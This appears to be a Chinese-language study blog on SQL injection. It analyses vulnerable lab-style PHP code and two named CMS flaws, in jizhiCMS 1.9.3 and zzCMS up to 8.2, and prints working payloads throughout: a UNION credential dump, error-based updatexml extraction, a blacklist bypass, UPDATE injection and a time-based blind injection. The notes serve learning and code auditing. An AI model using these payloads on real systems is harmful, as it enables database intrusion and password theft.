注入攻击是Web安全领域最常见的攻击方式,而注入攻击,往往有以SQL注入为主。SQL注入与其他类型的注入漏洞的区别在于SQL注入漏洞的操作对象是数据库,直接受害对象为数据库服务器。
简单来讲,SQL注入就是把SQL语句插入到表单或者其他参数中,让服务器执行非预期的SQL语句的一种漏洞。
一个漏洞的产生,往往取决于多个方面的原因,SQL注入也不例外:
按照传入的数据类型来分:
按照数据提交的方式来分:
按照有无回显来分:
SQL注入的防御方法也比较多,只不过有些防御方法在特定条件下可能被绕过,这里总结的方法如下:
对传入的参数进行格式限制和过滤
转义传入的特殊字符,比如使用PHP中的Mysql_real_escape_string()函数或者addslashes()之类的函数。
使用mysqli或者PDO进行参数化查询。比如下面这个例子:
$query = "SELECT filename, filesize FROM users WHERE (name = ?) and (password = ?)";
$stmt = $mysqli->stmt_init();
if ($stmt->prepare($query)) {
$stmt->bind_param("ss",$username, $password);
$stmt->execute();
$stmt->bind_result($filename,$filesize);
while($stmt->fetch()) {
printf ("%s : %d\n",$filename, $filesize);
}
$stmt->close();
}
由于比较简单,所以这里我们直接来看代码:
$id = '"'.$id.'"'; // 可以看到,在传入的ID的前后加上了双引号。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; //直接拼接$id到SQl语句中。并且没有对传入的参数做转义或者过滤处理。
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
可见,这是一个使用双引号包裹的字符型注入漏洞。只要我们传入的ID参数中使用双引号闭合ID前面附加的双引号,那就能够成功的进行注入。但是可以看到,此处并没有输出任何的数据库相关的信息,只是对查询结果是否存在进行了判断,然后输出了指定了内容,所以这是一个布尔型的盲注。
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; //简单的使用单引号包裹了传入的变量,但是并未对参数进行过滤或者转义处理,很明显的SQL注入漏洞。
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "
";
echo '';
echo ''; echo "
";
//查询成功输出username和passwd
echo 'Your Login name:'. $row['username'];echo "
";
echo 'Your Password:' .$row['password'];echo "
";
echo "";echo "
";echo "
";
echo '';echo "";
}else {
echo '';
//sql语句执行失败,打印出错误信息,说明可以利用报错信息来判断SQL语句的结构。同时,扯一个无关的话题,由于是直接对报错的内容进行输出,熟悉mysql报错的都知道,报错内容会包含我们输入的一部分,所以这也是一个XSS漏洞,主不过属于反射型。
print_r(mysql_error());echo "";
echo "";echo "";
echo ''; echo "";
}
分析清楚了,那我们来进行一下漏洞利用,下面是一个获取数据库中所有账号和密码的payload(查数表名、列名等步骤略过):
uname=admin&passwd=admin1'%20union%20select%20group_concat(username),group_concat(password)%20from%20users--+&submit=Submit
执行可以看到,已经查询出了数据库users表中的所有用户名和用户密码。
首先我们看到代码里面有一个输入校验的函数:
function check_input($value){
//截取传入的值的前20个字节(限制了输入长度)
if(!empty($value)){
$value = substr($value,0,20);
}
//特殊字符转义
if (get_magic_quotes_gpc()){
$value = stripslashes($value);
}
//字符型参数使用ysql_real_escape_string函数防御SQL注入,整形数据进行强制类型转换
if (!ctype_digit($value)){
$value = "'" . mysql_real_escape_string($value) . "'";
}elss{
$value = intval($value);
}
return $value;
}
我们传入的数据,经过上面的函数过滤之后,在想要继续进行SQL注入就相当的难了。但是我们接着看看核心功能源码:
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
//对传入的参数使用了校验函数进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
//执行SQL语句,
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1){
//插入http头信息到security表中
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
echo 'Your Referer is: ' .$uagent;
print_r(mysql_error());
}else{
print_r(mysql_error());
}
从源码里我们能看到,想通过表单参数进行SQL注入是行不通的,但是我们执行SQL语句的还有一个地方,那就是插入HTTP头信息的地方,由于此处没有对HTTP头进行过滤,同时还使用了mysql_error()函数进行错误输出,那么我们岂不是可以使用报错注入来进行利用。下面是通过报错准入获取数据库信息的一个payload:
'or updatexml(1,concat(0x7e,(select group_concat(concat_ws(':',username,password)) from users),0x7e),1) or '1'='1
查询结果是直接输出users表中的所有用户名和对应的密码,但是结果之显示了一部分,从后面D开始中断了,猜测可能是输出长度限制的原因,未深究:
首先我们发现,存在一个blacklist()函数,该函数的代码如下:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);//strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);//Strip out AND (non case sensitive)
return $id;
}
可见,该函数的作用就是通过preg_relace函数设置了黑名单,使用正则对or和and进行了过滤。但是熟悉黑名单过滤的都知道,这种方式使用双写就绕过了。毫无安全性可言。
在看看SQL查询语句相关的核心代码:
$id=$_GET['id'];
$id= blacklist($id); //使用黑名单过滤and和or
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //直接拼接SQL语句,使用的单引号包裹变量,可见是字符型的SQL注入。
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];echo "
";
echo 'Your Password:' .$row['password'];echo "";
}else{
echo '';
print_r(mysql_error());echo ""; //使用了mysql_error,岂不是还可以使用报错注入。
}
既然分析得差不多了,那就还是附一个使用报错注入进行利用的payload:
?id=-1'%20oORr%20updatexml(1,concat(0x7e,(select group_concat(concat_ws(':',username,id))%20from%20users),0x7e),1)%20oOrr%20'1'='1
首先同样的,这里使用了一个安全过滤的函数check_addslashes(),具体代码如下:
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
可见是使用了addslashes()函数对传入的参数进行了特殊字符转义。这种情况在特定情况下也是可以进行漏洞利用的,我们先来看看核心的功能代码:
$id=check_addslashes($_GET['id']); //对传入的参数进行转义
mysql_query("SET NAMES gbk"); //设置默认编码为GBK编码,熟悉sql注入的的小伙伴都知道,这种情况下就可能存在宽字节注入。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; //直接拼接变量,并且没有使用引号包裹,说明此处可能存整形注入
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error()); //还是使用了mysql_error()输出报错信息
echo "";
}
}
其实分析到这里,思路已经很明确了,利用方式就是通过整形注入来获取数据库信息,当然在进行某些特殊操作的时候可能会需要用到引号之类的,就可以考虑利用宽字节注入。这里附上利用整形注入获取用户信息的payload:
?id=-1%20or%201=1%20limit%201,1%20--+
系统版本:jizhiCMS 1.9.3
环境搭建啥的就不赘述了,都是网上照着安的。作为学习笔记,难免参考了很多大神的文章,都写在文章末尾了。写得不一定好,但是记录了个人的学习过程,有兴趣的朋友可以看看,当然更推荐大家直接去看后面的大神们的文章。
├── 404.html
├── A 后台控制文件
├── Conf公共函数
├── FrPHP框架
├── Home前台控制文件
├── Public公共静态文件
├── README.md
├── admin.php后台入口
├── backup备份
├── cache缓存
├── favicon.ico
├── index.php前台入口
├── install系统安装文件
├── readme.txt
├── static静态文件
└── web.config
首先我们还是和各路大神一样,来分析一下该CMS中的两个过滤函数:frparam()函数和format_param()函数。
1)frparam()函数分析
函数位置:FrPHP\common\Functions.php
作为菜鸟,只有一步一步的把分析情况写下来了,详情看下面:
// 获取URL参数值
public function frparam($str=null, $int=0,$default = FALSE, $method = null){
$data = $this->_data;
if($str===null) return $data;
if(!array_key_exists($str,$data)){
return ($default===FALSE)?false:$default;
}
if($method===null){
$value = $data[$str];
}else{
$method = strtolower($method);
switch($method){ //通过switch语句来获取传入的参数,并为$value赋值
case 'get':
$value = $_GET[$str]; //获取GET传输参数
break;
case 'post':
$value = $_POST[$str]; //获取POST传输的参数
break;
case 'cookie':
$value = $_COOKIE[$str]; //获取cookie
break;
}
}
return format_param($value,$int,$default); //使用format_param()函数处理$value
}
2)format_param()函数分析
函数位置:\FrPHP\common\Functions.php,该文件存放了数据过滤和编码转义的一些函数。
具体分析情况如下:
/**
参数过滤,格式化
**/
function format_param($value=null,$int=0,$default=false){
if($value==null){ return '';}
if($value===false && $default!==false){ return $default;}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value = SafeFilter($value);//过滤XSS攻击,使用正则来匹配关键字,匹配成功则替换为空字符串
$value=htmlspecialchars(trim($value), ENT_QUOTES); //进行html实体编码
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value); //PHP版本大于7.4,则使用addslashes()转义特殊字符
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");//使用自定义函数来过滤数组的内容(转义和实体编码)
return $value;
case 3://浮点
return (float)$value; //强制转换为float型
case 4:
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return trim($value);
}
}
从这可以看出来,format_param()
函数将传递进来的$value
变量通过$int
变量判断他是整数还是字符串然后做一个相应的处理。 总的来说frparam()
函数会对传递的参数进行过滤。
总体来看,数据处理非常大完美,对于SQL注入漏洞,整形数据使用了int进行强制转换,字符型数据则使用了addslashes函数对单双引号等特殊符号进行了转义。对数组型的变量也使用了自定义函数对数组中的值全部进行了过滤和转义。
首先我们来到后台的插件配置处,随便安装一个插件后点击配置进行抓包:
从抓包的内容来看,请求方式是直接使用的GET方式来进行请求:
我们可以看到,请求的方式是直接进行的GET请求,我们进入A/c/PluginsController.php中来看看setcon这个函数。可以发现,在进行插件配置的时候,这里直接获取了我们的POST参数,然后未经处理的将参数传入了我们的插件处理程序内:
function setconf(){
$id = $this->frparam('id');
$plugins = M('plugins')->find(['id'=>$id]);
if($id && $plugins){
//忽略Notice报错
error_reporting(E_ALL^E_NOTICE);
//执行插件控制器卸载程序
$dir = APP_PATH.APP_HOME.'/exts';
require_once($dir.'/'.$plugins['filepath'].'/PluginsController.php');
$plg = new \A\exts\PluginsController($this->frparam());
//转入插件内部处理
if($_POST){
$plg->setconfigdata($_POST);//将获取到的配置数据,直接传入插件内部处理
exit;
}
$plg->setconf($plugins);
exit;
}
JsonReturn(array('code'=>1,'msg'=>'参数错误,必须携带插件ID!'));
//Error('参数错误!');
}
我们顺着进入POST数据传入的函数setconfigdata()看看,由于我们使用的是ban IP 的插件,所以该函数存在于A\exts\banip\PluginsController.php中。
public function setconfigdata($data){
M('plugins')->update(['id'=>$data['id']],['config'=>json_encode($data, JSON_UNESCAPED_UNICODE )]);
setCache('hook',null);//清空hook缓存
JsonReturn(['code'=>0,'msg'=>'设置成功!']);
}
在该函数中,使用了update函数进行数据处理,我们接着跟踪update函数,我们在搜索该函数时,发现系统中存在两个update函数,一个是存在于A\c\PluginsController.php文件下的update()函数,该函数的作用在于更新插件,显然不是我们要找的函数,那就是另外一个:A\c\PluginsController.php下的update()函数.
public function update($conditions,$row)
{
$where = "";
$row = $this->__prepera_format($row); //将我们传入的数据存储到$row中
if(empty($row))return FALSE;
if(is_array($conditions)){
$conditions = $this->__prepera_format($conditions); //获取传入的数据,包括IP和屏蔽提示,是一个数组型变量。
$join = array();
foreach( $conditions as $key => $condition ){
$condition = '\''.$condition.'\''; //获取id存入join数组中。
$join[] = "{$key} = {$condition}";
}
if(count($join)){
$where = "WHERE ".join(" AND ",$join); //通过SQL语句的where参数。eg:$where="where id='1'"。
}
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
foreach($row as $key => $value){ //从$row中获取我们传入的值,通过key循环中。
if($value!==null){
$value = '\''.$value.'\''; //在数据不为空的情况下,将传入的数据使用单引号拼接到$value变量中。比如传入的数据是:{"id":"1","ips":"1.1.1.1","tip":"ou,no"},拼接后则是;'{"id":"1","ips":"1.1.1.1","tip":"ou,no"}'。
$vals[] = "{$key} = {$value}"; //将数组中的键和值在进行一次拼接,拼接成一个key=value格式的字符串。由于前面使用了单引号拼接value,此处的精确格式应该是:key='value'。
}else{
$vals[] = "{$key} = null";
}
}
$values = join(", ",$vals); //将vals数组中的数据转换为一个字符串
$table = self::$table;
$sql = "UPDATE {$table} SET {$values} {$where}"; //生成SQL语句,以$table="jz_plugins",$where="where id='1'",$values="config = '{"id":"1","ips":"1.1.1.1","tip":"ou,no"}'"为例。此时的SQL语句应该是:
// UPDATE jz_plugins SET config = '{"id":"1","ips":"1.1.1.1","tip":"ou,no"}' WHERE id = '1'
return $this->runSql($sql);
}
通过以上分析,可以发现,由于update的数据没有使用过滤函数处理,直接传送到了插件中进行使用,同时在使用时采用了单引号拼接数据方法来构造SQL语句.那么问题显而易见了,我们如果构造一个带单引号的数据传送过来,就能够造成SQL注入了。只不过这是一个update型的注入,能否产生堆叠注入还需要深入研究。
由于该漏洞为update型注入,所以能够利用的方式相对有限,比如getshell这样的操作就相对的有一些难度了。但是并不妨碍我们爆 出数据库的内容出来。下面这个例子就是通过更新author字段的方式来爆数据库内容:
上面我们使用burpsuite抓包修改了参数,此时在后端执行的SQL语句是:
UPDATE jz_plugins SET config = '{"id":"1","ips":"2.2.2.2","tip":"on no\"}',author=(databse()) where id='1';#"}' WHERE id = '1'
然后我们执行成功后,回到前端,可以看到,作者名字已经变为数据库名了:
系统环境: ZZcms 7.2
此次分析的漏洞,存在于zzCMS <= v8.2版本中。具体位置在/user/del.php,是2021年公开的一个漏洞,此处用作练习进行分析。
通过Seay源代码审计系统自动审计结果可以看到,审计到了del.php文件中存在变量无单引号保护,可能存在SQL注入漏洞。
首先我们来看看获取参数的地方:
$pagename=isset($_POST["pagename"])?$_POST["pagename"]:'';
$tablename=isset($_POST["tablename"])?$_POST["tablename"]:'';
$id='';
if(!empty($_POST['id'])){
for($i=0; $i<count($_POST['id']);$i++){
checkid($_POST['id'][$i]);
$id=$id.($_POST['id'][$i].',');
}
$id=substr($id,0,strlen($id)-1);//去除最后面的","
}
首先通过POST获取了pagename和tablename。然后在传入了id的情况下,对id的值中的每一个字符依次采用了checkid()函数进行校验,然后拼接到新的$id上。
我们顺着来看看checkid()函数发功能和构造(该函数是在inc/function.php中):
function checkid($id,$classid=0,$msg='无'){
if ($id<>''){
if (is_numeric($id)==false){showmsg('参数 '.$id.' 有误!');}
if ($classid==0){//查大小类ID时这里设为1
if ($id<1){showmsg('参数 '.$id.'有误!\r\r提示:'.$msg);}//翻页中有用,这个提示msg在其它地方有用
}
}
}
可见,该函数对我们的数据格式进行了检测,那么也就没有办法咋通过id参数进行注入了。但是我们能够发现,传入的参数并不止id这一个参数,还有$tablename
和$pagename
是直接通过POST获取的。然后我们一路看代码往下,在源文件的第75-79行:
if (strpos($id,",")>0){
$sql="select id,img,editor from `".$tablename."` where id in (".$id.")";
}else{
$sql="select id,img,editor from `".$tablename."` where id ='$id'";
}
可见这里通过拼接SQL参数的方式构造了sql语句(在往后的地方都是通过这种方式构造的Sql语句),而我们刚刚也提到了,这里的参数tablename是直接通过POST获取的。并没有进行任何的过滤,那就说明存在SQL注入漏洞了。但是我们仔细分析一下代码逻辑:
if ($tablename=="zzcms_main"){
......
}elseif ($tablename=="zzcms_pp" || $tablename=="zzcms_licence"){
......
}elseif ($tablename=='zzcms_guestbook'){
......
}elseif ($tablename=='zzcms_dl'){
.......
}else{ //源文件139行
if (strpos($id,",")>0){
$sql="select id,editor from `".$tablename."` where id in (". $id .")";
}else{
$sql="select id,editor from `".$tablename."` where id ='$id'";
}
$rs=query($sql);
..........
}
可见如果我们要利用tablename参数来进行注入的话,那么我们前面的if判断就都不能通过,就只能最后的else模块中的代码来进行注入,所以该漏洞的实际注入点是在我们的源文件的第139行到145行的位置。通过构造tablename闭合sql语句来达到注入的目的。
前奏:由于我们是刚刚搭建的系统,里面什么要也没有,所以需要先弄点东西进去,让他触发我们的漏洞点。具体步骤可参看文末参考文献。
首先我们通过正常操作来抓取数据包:
然后构造payload:
id=1&tablename=zzcms_ztad%20where%20id=1%20and%20if((ascii(substr(database(),0,1))=123),sleep(5),1)#
这里由于没有回显,所以只能通过盲注的方式来进行注入。poc脚本参考的网上的,就不贴出来了。
不过这里遇到个问题,tip一下:刚开始我用的zzcms7.2版本,会对tablename进行检测,只有传入的table名存在于数据库中查出来的所有table名数组中才会执行sql,不然会提示tablename错误。换8.2版本后则成功利用。